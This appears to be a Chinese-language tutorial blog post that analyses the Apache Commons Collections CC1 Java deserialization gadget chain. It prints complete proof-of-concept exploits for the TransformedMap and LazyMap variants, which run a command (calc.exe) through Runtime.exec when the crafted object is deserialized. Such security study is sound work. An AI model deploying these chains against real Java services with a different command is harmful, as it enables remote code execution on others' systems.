java反序列化–CC1 前置 介绍
Apache Commons Collections是Apache软件基金会的一个项目,它提供了一组扩展了Java标准库中Collection结构的类和方法。这些类和方法被广泛用于各种Java应用的开发中。
CC1链是Apache Commons Collections库中反序列化漏洞的利用链的简称。反序列化是将字节序列恢复成对象的过程,如果在这个过程中输入了不可信的数据,就有可能触发包含在序列化参数中的恶意代码。
所以
Apache Commons Collections它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,而正是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。。
commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。
Maven Maven 是一个项目管理工具 ,它包含了一个项目对象模、型 (POM: Project Object Model),一组标准集合,一个项目生命周期(Project Lifecycle),一个依赖管理系统(Dependency Management System),和用来运行定义在生命周期阶段(phase)中插件(plugin)目标(goal)的逻辑
作用:
省去jar包的导入,而是坐标来进行导入,减少了项目的内存大小
更加方便的构建项目,实现项目的一键构建。指的是项目从编译、测试、运行、打包、安装 ,部署整个过程都交给 maven 进行管理,这个过程称为构建
在cc链分析中
我们需要通过maven添加依赖 :在项目的pom.xml
文件中加入Apache Commons Collections的依赖项:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
环境配置 首先是我们要注意java的版本需要是第一点的 ,因为一些漏洞后续被修复了
我原来的版本是8u401
这里我们需要8u65 版本低点
具体下载 这里就不赘述了
因为一些源码是class文件,工具会帮我们自动反编译的,但是我们都知道,这个东西反编译出来的,肯定不方便阅读,所以为了方便我们后续的调试,我们这里将openjdk 的源码下过来,把我们需要导入到jdk中
这里我们来到jdk的目录中 在我们的jdk中有一个src.zip 解压到当前文件夹
在我们下载的Openjdk中有个sun文件
将sun粘贴到jdk的解压的src目录里面
好 打开idea换sdk(结构目录中)
选择我们需要的jdk,然后选择源路径,把src文件夹添加进去
我们新建项目选择maven
新建maven就是这样的
然后再pom.xmli添加我们上面说的maven依赖
这个也是一样的
<dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
这里我们右键pom.xml -> maven然后按下面的来
已经下载了依赖
触发条件
java 版本 < 8u71
CommonCollections<=3.2.1
有 common-collentions 依赖
简化cc1-demo分析 代码 这段demo去掉了CC链的反射部分并进行了简化
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"C:\\Windows\\System32\\calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("test" , "xxxx" ); } }
运⾏就会发现弹出了计算器
如大家所见
这里面涉及到了几个类与接口
TransformedMap用于对Java标准数据结构Map 做⼀个修饰 ,被修饰过的Map在添加新的元素时,将可以执行⼀个回调 。我们通过以上这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map
也就是:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer)
TransformedMap.decorate
方法是Apache Commons Collections库中的一个静态方法,用于创建一个装饰器(decorator)包装在现有的Map
实例上。这个装饰器会在原始Map
的基础上,对键(key)、值(value)或两者进行转换操作,而不需要修改原Map
的实现
当你调用TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
方法时,它会返回一个新的Map
实例,该实例的每次put、get以及其他操作都会经过指定的转换器(Transformers)。
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这里所说的”回调“,并不是传统意义上的⼀个回调函数,而是⼀个实现了Transformer接⼝的类 。
这里补充一下Map :
在Java中,Map
是一个接口,它是集合框架的一部分,用于存储键值对(key-value pairs)的数据结构。Map
不是一个简单的对象,而是一个接口,它定义了一系列操作键值对的方法。通过这些方法,你可以插入、访问、更新或删除键值对。每个键(key)在Map
中必须是唯一的,而同一个键可以关联一个值(value)。如果尝试用相同的键插入另一个值,这将会替换原有的值。
Map
接口的主要特点包括:
键值对 : 它存储的数据形式为键值对,键(通常是唯一的)用于查找对应的值。
键的唯一性 : 一个Map
中不能有重复的键,但值可以重复。
无序 : Map
中的元素没有特定的顺序,尽管LinkedHashMap
类可以保持插入顺序,TreeMap
类则可以按键排序。
常用操作 : 包括put(key, value)
添加键值对,get(key)
根据键获取值,containsKey(key)
检查键是否存在,remove(key)
删除键值对等。
Map
的常用实现类包括但不限于:
HashMap
: 基于哈希表实现,无序,非线程安全,查询速度快。
TreeMap
: 基于红黑树实现,自然排序或自定义比较器排序,有序,线程不安全。
LinkedHashMap
: 有序(插入顺序或访问顺序),基于哈希表实现,非线程安全。
ConcurrentHashMap
: 线程安全的哈希表实现,支持高效并发访问。
Transformer是⼀个接⼝,它只有⼀个待实现的方法:
因为这是class文件反编译出来的 所以是var1 不方便阅读
其实就是:
public interface Transformer { public Object transform (Object input) ; }
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调 函数“,这个回调的参数是原始对象。
源代码:
其实就是:
public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
ConstantTransformer是实现了Transformer接⼝ 的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform方法将这个对象再返回
所以他的作用其实就是包装任意⼀个对象,在执行回调时返回这个对象,进而方便后续操作。
InvokerTransformer是同样实现了Transformer接⼝的⼀个类 ,这个类可以⽤来执行任意⽅法 ,这也是反序列化能执行任意代码的关键
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名 ,第⼆个参数 是这个函数的参数列表的参数类型 ,第三个参数是传给这个函数的参数列表 :
也就是:
public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
后⾯的回调transform方法,就是执⾏了input对象的iMethodName⽅法
public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var6) { InvocationTargetException ex = var6; throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } } }
ChainedTransformer也是实现了Transformer接口的⼀个类 ,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传入 ,我们画⼀个图做示意:
也就是:
public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
分析 先看着两端代码吧
创建了⼀个ChainedTransformer
,其中包含两个Transformer:第⼀个是ConstantTransformer
, 直接返回当前环境的Runtime对象 ;第⼆个是InvokerTransformer
,执行Runtime对象的exec方法 ,参数是计算器的绝对地址
但是这个transformerChain只是⼀系列回调,我们需要用其来包装innerMap
,使⽤的前⾯说到的 TransformedMap.decorate
在这个装饰过程中,键(key)的转换器被设置为null
,意味着不会对键进行任何转换;而值(value)的转换则通过transformerChain
指定的转换器链来进行。
最后,怎么触发回调呢?就是向Map中放入一个新的元素:
当执行outerMap.put("test", "xxxx")
时,实际上是在向基础的innerMap
中插入一对键值对,键为"test"
,值为"xxxx"
。
在实际反序列化漏洞中,我们需要将上面最终生成的outerMap对象变成一个序列化流
CC1链 链子写法很多 但是原理都是那样
主要原理就两种
LazyMap与TransformedMap
LazyMap来自ysoserial
而TransformedMap来自Code White的Slide与长亭科技的博客文章
我们先来看TransformedMap链
分析构造链子 根据我们前面写的demo
我们已经知道触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素
在demo中,我们可以手工执行 outerMap.put(“test”, “xxxx”); 来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject
逻辑里有类似的写入操作。
要可序列化必须重写readObject()
方法,接受任意对象作为参数
这个类就是 sun.reflect.annotation.AnnotationInvocationHandler
,我们查看它的readObject
方法
也就是:
private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
它的核心代码就是 Map.Entry memberValue : memberValues.entrySet() 和memberValue.setValue(...)
。
memberValues
就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象 ,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码 。
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler
对象,并将前面构造的 HashMap设置进来
因为 sun.reflect.annotation.AnnotationInvocationHandler
是在JDK内部的类,不能直接使 用new来实例化。我们使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。
AnnotationInvocationHandler
类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap);
和URLDNS链一样,起点 是某个类的readObject()
方法
这里就是AnnotationInvocationHandler
的readObject()
然后我们通过如下代码将这个对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(handler); oos.close();
创建ByteArrayOutputStream
和ObjectOutputStream
,将反射创建的AnnotationInvocationHandler
实例(obj
)序列化到字节数组中。
打印序列化后的字节数组内容到控制台。
利用ObjectInputStream
从刚序列化的字节数组中反序列化出对象,并将其类型强制转换为Object
。
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray()));Object o = (Object)ois.readObject();
再加上这段代码 反序列化
这样整个代码段完成了对象的序列化与反序列化的完整流程
也就是:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class); construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(obj); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = ois.readObject();
一起分析一下:
反射创建对象 :
使用Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
获取AnnotationInvocationHandler
类的Class
对象。
通过getDeclaredConstructor(Class.class, Map.class)
找到该类的一个构造函数,该构造函数接受一个Class
对象和一个Map
作为参数。由于构造函数可能是私有的,所以需要后续步骤来访问它。
调用setAccessible(true)
方法,允许访问这个私有的构造函数。
利用反射创建AnnotationInvocationHandler
实例,传入Retention.class
作为注解类型和自定义的Map
(outerMap
)作为参数,最终创建并初始化了一个AnnotationInvocationHandler
对象,并将其赋值给obj
变量。
序列化对象 :
创建ByteArrayOutputStream
和ObjectOutputStream
,用于将对象序列化为字节数组。
使用oos.writeObject(handler)
将InvocationHandler
实例序列化到字节数组中。
关闭ObjectOutputStream
以确保所有数据被写入。
打印序列化后的ByteArrayOutputStream
对象的默认字符串表示(注意,直接打印ByteArrayOutputStream
对象可能并不直观展示字节内容)。
反序列化对象 :
创建ObjectInputStream
,其构造函数接收之前序列化数据的ByteArrayInputStream
。
使用ois.readObject()
从字节流中反序列化出原始的InvocationHandler
对象,并将其赋值给一个泛型为Object
的变量o
。
将这几段代码拼接到demo代码的后面,组成一个完整的POC。运行这个POC,看看能否生成序列化数据流:
注意 这里加点代码
System.out.println(barr);
前面的demo也稍微动了一下 来满足我们后面写的代码
innerMap.put("test" ,"xxxx" );
还加入了一些包
import java.lang.reflect.Constructor;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.annotation.Retention;
也就是:
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;import java.lang.reflect.Constructor;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.annotation.Retention;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"C:\\Windows\\System32\\calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("test" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(obj); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
运行报错了
Exception in thread “main” java.io.NotSerializableException: java.lang.Runtime
在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime 。
原因:
Java中不是所有对象都支持序列化 ,待序列化的对象和所有它使用的内部属性对象,必须都实现java.io.Serializable
接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime()
,Runtime类是没有实现 java.io.Serializable
接口的,所以不允许被序列化。
解决:
我们可以通过反射 来获取到当前上下文中的Runtime对象,而不需要直接使用这个类
Method f = Runtime.class.getMethod("getRuntime" );Runtime r = (Runtime) f.invoke(null );r.exec("C:\\Windows\\System32\\calc.exe" );
这也是为什么需要使用反射的原因
所以修改我们的代码:
Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] } ), new InvokerTransformer ( "invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] } ), new InvokerTransformer ( "exec" , new Class [] { String.class }, new String [] { "C:\\Windows\\System32\\calc.exe" } ) };
和我们之前写的代码最大的区别就是将 Runtime.getRuntime()
换成了 Runtime.class
,前者是一个 java.lang.Runtime
对象,后者是一个 java.lang.Class
对象。Class类有实现Serializable接口 ,所以可以被序列化
好 我们用这个代码再运行一下
也就是:
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;import java.lang.reflect.Constructor;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.annotation.Retention;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] } ), new InvokerTransformer ( "invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] } ), new InvokerTransformer ( "exec" , new Class [] { String.class }, new String [] { "C:\\Windows\\System32\\calc.exe" } ) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("test" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(obj); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
结果如上图 代码没有报错 还输出了我们的序列化后的数据流
但是有一个问题是:
在我们最后反序列化的时候没有弹出计算器
原因:
这个实际上和AnnotationInvocationHandler
类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler.readObject 的逻辑中(class文件中可以看到),有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue ,否则不会进入也就不会触发漏洞
那么如何让这个var7不为null呢
解决:
所以这也解释了为什么我们前面要用到 Retention.class
,因为Retention有一个方法,名为value
;所 以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
innerMap.put("value" , "xxxx" );
POC package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;import java.lang.reflect.Constructor;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.InvocationHandler;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] } ), new InvokerTransformer ( "invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] } ), new InvokerTransformer ( "exec" , new Class [] { String.class }, new String [] { "C:\\Windows\\System32\\calc.exe" } ) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
出现了一点小状况 嗯 不知道为什么还是弹不出计算器 QAQ 目前还没找到原因 代码是没有问题的
我也试了一下其他师傅的poc 也弹不起 但是我前面的demo可以弹
啧 应该是java环境的问题
但是代码试没有问题的
这里大家就假装我运行起了吧
晚点看看环境吧
先装模做样运行起
破案了 就是版本问题 不知道为什么下成了8u111 啧 重新配了一下环境就好了
调用流程:
ObjectInputStream.readObject() ->AnnotationInvocationHandler.readObject() ->TransformedMap.entrySet().iterator().next().setValue() ->TransformedMap.checkSetValue() ->TransformedMap.transform() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()
高版本不能触发原因:
在8u71以后大概是2015年12月的时候,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler
的readObject函数
对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接 使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。
怎么在高版本下触发cc 我们后面说
我们再来看看ysoserial的LazyMap链
LazyMap链 其实CommonCollections1的真正利用链中应该用到的是LazyMap而不是TransformedMap
只是说TransformedMap也行
所以LazyMap是什么呢
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继乘AbstractMapDecorator
。
分析构造链子 LazyMap的漏洞触发点和TransformedMap唯一的差别是:
TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform
。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:
public Object get (Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); map.put(key, value); } return map.get(key); }
他会对 this.factory 进行一次 transform,所以我们拿这个来做为我们链子串联的对象
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中并没有直接调用到 Map的get方法 。
所以ysoserial找到了另一条路,AnnotationInvocationHandler
类的invoke
方法有调用到get (代表着我们可以通过这个方法来调用 LazyMap.get 方法):
public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
那么又如何能调用到 AnnotationInvocationHandler.invoke
呢?ysoserial的作者想到的是利用Java 的对象代理。
对象代理
java作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call
,我们需 要用到 java.reflect.Proxy
:
Map pxmapMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class},handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader
,我们用默认的即可;第二个参数是我们需要代理的对象集合 ;第三个参数是一个实现了InvocationHandler接口的对象 ,里面包含了具体代理的逻辑。
例:
我们写一个这样的类:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler (Map map) { this .map = map; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get" ) == 0 ) { System.out.println("Hook method: " + method.getName()); return "Hacked Object" ; } return method.invoke(this .map, args); } }
这段代码定义了一个ExampleInvocationHandler
类,实现了InvocationHandler
接口,用于处理代理对象上的方法调用。特别是,它拦截了get
方法的调用 ,并打印一条消息后返回一个固定的字符串”Hooked Object”,从而演示了对原方法的hook(钩子)技术。对于非get
方法的调用,则直接转发给被代理的Map
对象。
在外部调用这个ExampleInvocationHandler:
package org.vulhub.Ser;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class App { public static void main (String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler (new HashMap <>()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class []{Map.class}, handler); proxyMap.put("hello" , "world" ); String result = (String) proxyMap.get("hello" ); System.out.println(result); } }
跑一下:
虽然我们向Map放入的hello值为world
但是发现输出了Hacked Object
我们回头看 sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler.invoke
方法中,进而触发我们的 LazyMap.get
。
发现好像前面没有说过InvocationHandler
这里补充一下:
InvocationHandler
是Java反射包(java.lang.reflect
)下的一个接口,它是实现Java动态代理的核心 。当你想要在不修改目标对象的情况下,对其方法调用进行控制或扩展时(比如添加日志、权限控制、事物管理等),就可以使用InvocationHandler
。
看一下源码:
代码很少: 就是:
public interface InvocationHandler { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable; }
proxy
:代理实例,也就是通过Proxy.newProxyInstance()
方法创建的代理对象。
method
:当前被调用的方法,对应于代理实例上调用的方法。
args
:被调用方法的参数数组。
好 这样就可以构造我们的poc了
首先使用LazyMap替换 TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
原来是这样的:
Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain);
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(RetentionPolicy.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
这段代码首先通过反射获取了AnnotationInvocationHandler
类。
然后,获取其构造函数,并通过setAccessible(true)
来绕过访问控制检查,以便可以实例化这个私有构造函数。
接着,使用这个构造函数创建了一个InvocationHandler
实例,传入了RetentionPolicy.class
和一个外部Map
(outerMap
)。
最后,利用Proxy.newProxyInstance()
方法基于这个InvocationHandler
创建了一个代理Map
对象。
代理后的对象叫做proxyMap
,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler.readObject
,而且Proxy 内无 writeObject
方法,无法直接序列化
所以我们还需要再用 AnnotationInvocationHandler
对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
其他的就和TransformedMap链一样了
所以:
POC package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class}, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new String [] {"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); } }
LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和 AnnotationInvocationHandler.readObject 中有没有setValue没任何关系(证明了我们的上一个链子说的)
调用流程:
AnnotationInvocationHandler.readObject-> Map(proxy).entrySet-> AnnotationInvocationHandler.invoke-> LazyMap.get->
factory.transform
….后面和TransformedMap链一样了
->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()